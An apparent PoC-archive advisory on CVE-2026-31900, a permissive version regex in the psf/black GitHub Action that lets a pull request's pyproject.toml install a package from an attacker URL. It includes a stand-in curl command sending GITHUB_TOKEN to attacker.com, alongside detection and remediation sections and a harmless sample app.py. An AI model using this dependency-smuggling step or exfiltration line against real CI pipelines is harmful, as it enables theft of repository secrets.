PoC Archive PoC Archive
High CVE-2026-31900 (GHSA-v53h-f6m7-xcgm) patched

psf/black GitHub Action RCE via Insecure Regex Version Validation — CVE-2026-31900

by Batosay1337Lab · 2026-07-05

CVSS 8.7/10
Severity
High
CVE
CVE-2026-31900 (GHSA-v53h-f6m7-xcgm)
Category
misc
Affected product
psf/black GitHub Action
Affected versions
< v26.3.0 (when using the use_pyproject: true option)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherBatosay1337Lab
CVE / AdvisoryCVE-2026-31900 (GHSA-v53h-f6m7-xcgm)
Categorymisc
SeverityHigh
CVSS Score8.7 (High)
StatusPoC
Tagsgithub-actions, supply-chain, rce, regex, pep508, ci-cd, secrets-theft, psf-black
RelatedN/A

Affected Target

FieldValue
Software / Systempsf/black GitHub Action
Versions Affected< v26.3.0 (when using the use_pyproject: true option)
Language / PlatformGitHub Actions YAML, Python (pip/setuptools)
Authentication RequiredNo (attacker only needs to open a pull request against a repository using the vulnerable Action configuration)
Network Access RequiredYes

Summary

The psf/black GitHub Action’s use_pyproject: true option reads the Black version to install from the repository’s pyproject.toml. The regex used to validate that version string (^black([^A-Z0-9.\_-]+.*)$ with re.IGNORECASE) is overly permissive, allowing characters such as space, @, :, and / — exactly what is needed to express a PEP 508 direct-URL requirement. An attacker who can influence pyproject.toml (e.g. via a pull request from a fork) can specify black @ https://attacker.com/malicious_black.tar.gz as the “version,” causing the Action’s pip install step to fetch and run an attacker-controlled package’s setup.py during the pull_request-triggered CI run, exfiltrating GITHUB_TOKEN and other workflow secrets.


Vulnerability Details

Root Cause

The version-validation regex BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9.\_-]+.*)$", re.IGNORECASE) used when use_pyproject: true is set fails to restrict the characters that can follow black, permitting a full PEP 508 URL-based requirement specifier to pass validation instead of only a version number.

Attack Vector

  1. Attacker forks the target repository (one using the psf/black Action with use_pyproject: true).
  2. Attacker modifies pyproject.toml in their fork, setting the Black dependency to black @ https://attacker.com/malicious_black.tar.gz.
  3. Attacker opens a Pull Request against the upstream repository, triggering the pull_request workflow.
  4. The Action reads the malicious “version” string from pyproject.toml; the overly permissive regex accepts it.
  5. pip install fetches the attacker-hosted package and executes its setup.py during installation (e.g. os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")), running arbitrary code in the CI runner with access to GITHUB_TOKEN and any other injected secrets.

Impact

Arbitrary code execution inside the CI runner triggered by a pull request from any external contributor, leading to theft of the CI job’s GITHUB_TOKEN and any other secrets exposed to the workflow — a supply-chain compromise vector against any repository using the vulnerable Action configuration.


Environment / Lab Setup

Target:   A GitHub repository using the psf/black Action with `use_pyproject: true` (< v26.3.0)
Attacker: A GitHub account able to fork the repository and open a pull request

Proof of Concept

PoC Script

See .github/workflows/black.yml, pyproject.toml, and app.py in this folder.

The lab repository’s black.yml workflow demonstrates the vulnerable use_pyproject: true configuration; pyproject.toml and app.py represent the legitimate baseline configuration that an attacker’s fork would modify to smuggle a malicious PEP 508 URL dependency.


Detection & Indicators of Compromise

Signs of compromise:

  • CI logs showing pip install resolving black to an external URL instead of PyPI
  • Outbound network requests from CI runners to unfamiliar domains during a black formatting step
  • Unexpected use/exposure of GITHUB_TOKEN shortly after a pull request from an unfamiliar contributor

Remediation

ActionDetail
Primary fixUpgrade to psf/black GitHub Action v26.3.0 or later
Interim mitigationAvoid use_pyproject: true; pin the Black version explicitly in the workflow YAML instead of reading it from repository-controlled pyproject.toml, and restrict secrets available to pull_request-triggered workflows from forks

References


Notes

Mirrored from https://github.com/Batosay1337Lab/cve-2026-31900-lab on 2026-07-05.

app.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import os
import sys

def hello_world(name: str) -> str:
    """Return a greeting message."""
    return f"Hello, {name}!"

def add(a: int, b: int) -> int:
    """Add two numbers."""
    return a + b

if __name__ == "__main__":
    print(hello_world("World"))
    print(add(1, 2))